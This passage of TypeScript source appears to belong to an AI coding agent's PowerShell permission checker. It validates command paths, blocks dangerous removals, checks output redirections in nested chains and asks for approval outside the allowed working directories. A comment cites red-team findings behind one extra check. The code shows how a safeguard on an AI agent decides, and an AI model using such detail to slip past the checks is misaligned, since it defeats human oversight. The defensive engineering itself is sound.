dangerousRemovalDeny(filePath) 1852 } 1853 1854 const { allowed, resolvedPath, decisionReason } = validatePath( 1855 filePath, 1856 cwd, 1857 toolPermissionContext, 1858 operationType, 1859 ) 1860 1861 if (isRemoval && isDangerousRemovalPath(resolvedPath)) { 1862 return dangerousRemovalDeny(resolvedPath) 1863 } 1864 1865 if (!allowed) { 1866 const canonical = resolveToCanonical(cmd.name) 1867 const workingDirs = Array.from( 1868 allWorkingDirectories(toolPermissionContext), 1869 ) 1870 const dirListStr = formatDirectoryList(workingDirs) 1871 1872 const message = 1873 decisionReason?.type === 'other' || 1874 decisionReason?.type === 'safetyCheck' 1875 ? decisionReason.reason 1876 : `${canonical} targeting '${resolvedPath}' was blocked. For security, Claude Code may only access files in the allowed working directories for this session: ${dirListStr}.` 1877 1878 if (decisionReason?.type === 'rule') { 1879 return { 1880 behavior: 'deny', 1881 message, 1882 decisionReason, 1883 } 1884 } 1885 1886 const suggestions: PermissionUpdate[] = [] 1887 if (resolvedPath) { 1888 if (operationType === 'read') { 1889 const suggestion = createReadRuleSuggestion( 1890 getDirectoryForPath(resolvedPath), 1891 'session', 1892 ) 1893 if (suggestion) { 1894 suggestions.push(suggestion) 1895 } 1896 } else { 1897 suggestions.push({ 1898 type: 'addDirectories', 1899 directories: [getDirectoryForPath(resolvedPath)], 1900 destination: 'session', 1901 }) 1902 } 1903 } 1904 1905 if (operationType === 'write' || operationType === 'create') { 1906 suggestions.push({ 1907 type: 'setMode', 1908 mode: 'acceptEdits', 1909 destination: 'session', 1910 }) 1911 } 1912 1913 firstAsk ??= { 1914 behavior: 'ask', 1915 message, 1916 blockedPath: resolvedPath, 1917 decisionReason, 1918 suggestions, 1919 } 1920 } 1921 } 1922 1923 // Red-team P11/P14: step 5 at powershellPermissions.ts:970 already 1924 // catches this via the same synthetic-CommandExpressionAst mechanism — 1925 // this is belt-and-suspenders so the nested loop doesn't rely on that 1926 // accident. Placed AFTER the path loop so specific asks (blockedPath, 1927 // suggestions) win via ??=. 1928 if (hasExpressionPipelineSource) { 1929 firstAsk ??= { 1930 behavior: 'ask', 1931 message: `${resolveToCanonical(cmd.name)} appears inside a control-flow or chain statement where piped expression sources cannot be statically validated and requires manual approval`, 1932 } 1933 } 1934 } 1935 } 1936 1937 // Check redirections on nested commands (e.g., from && / || chains) 1938 if (statement.nestedCommands) { 1939 for (const cmd of statement.nestedCommands) { 1940 if (cmd.redirections) { 1941 for (const redir of cmd.redirections) { 1942 if (redir.isMerging) continue 1943 if (!redir.target) continue 1944 if (isNullRedirectionTarget(redir.target)) continue 1945 1946 const { allowed, resolvedPath, decisionReason } = validatePath( 1947 redir.target, 1948 cwd, 1949 toolPermissionContext, 1950 'create', 1951 ) 1952 1953 if (!allowed) { 1954 const workingDirs = Array.from( 1955 allWorkingDirectories(toolPermissionContext), 1956 ) 1957 const dirListStr = formatDirectoryList(workingDirs) 1958 1959 const message = 1960 decisionReason?.type === 'other' || 1961 decisionReason?.type === 'safetyCheck' 1962 ? decisionReason.reason 1963 : `Output redirection to '${resolvedPath}' was blocked. For security, Claude Code may only write to files in the allowed working directories for this session: ${dirListStr}.` 1964 1965 if (decisionReason?.type === 'rule') { 1966 return { 1967 behavior: 'deny', 1968 message, 1969 decisionReason, 1970 } 1971 } 1972 1973 firstAsk ??= { 1974 behavior: 'ask', 1975 message, 1976 blockedPath: resolvedPath, 1977 decisionReason, 1978 suggestions: [ 1979 { 1980 type: 'addDirectories', 1981 directories: [getDirectoryForPath(resolvedPath)], 1982 destination: 'session', 1983 }, 1984 ], 1985 } 1986 } 1987 } 1988 } 1989 } 1990 } 1991 1992 // Check file redirections 1993 if (statement.redirections) { 1994 for (const redir of statement.redirections) { 1995 if (redir.isMerging) continue 1996 if (!redir.target) continue 1997 if (isNullRedirectionTarget(redir.target)) continue 1998 1999 const { allowed, resolvedPath, decisionReason } = validatePath( 2000 redir.target, 2001 cwd, 2002 toolPermissionContext, 2003 'create', 2004 ) 2005 2006 if (!allowed) { 2007 const workingDirs = Array.from( 2008 allWorkingDirectories(toolPermissionContext), 2009 ) 2010 const dirListStr = formatDirectoryList(workingDirs) 2011 2012 const message = 2013 decisionReason?.type === 'other' || 2014 decisionReason?.type === 'safetyCheck' 2015 ? decisionReason.reason 2016 : `Output redirection to '${resolvedPath}' was blocked. For security, Claude Code may only write to files in the allowed working directories for this session: ${dirListStr}.` 2017 2018 if (decisionReason?.type === 'rule') { 2019 return { 2020 behavior: 'deny', 2021 message, 2022 decisionReason, 2023 } 2024 } 2025 2026 firstAsk ??= { 2027 behavior: 'ask', 2028 message, 2029 blockedPath: resolvedPath, 2030 decisionReason, 2031 suggestions: [ 2032 { 2033 type: 'addDirectories', 2034 directories: [getDirectoryForPath(resolvedPath)], 2035 destination: 'session', 2036 }, 2037 ], 2038 } 2039 } 2040 } 2041 } 2042 2043 return ( 2044 firstAsk ?? { 2045 behavior: 'passthrough', 2046 message: 'All path constraints validated successfully', 2047 } 2048 ) 2049}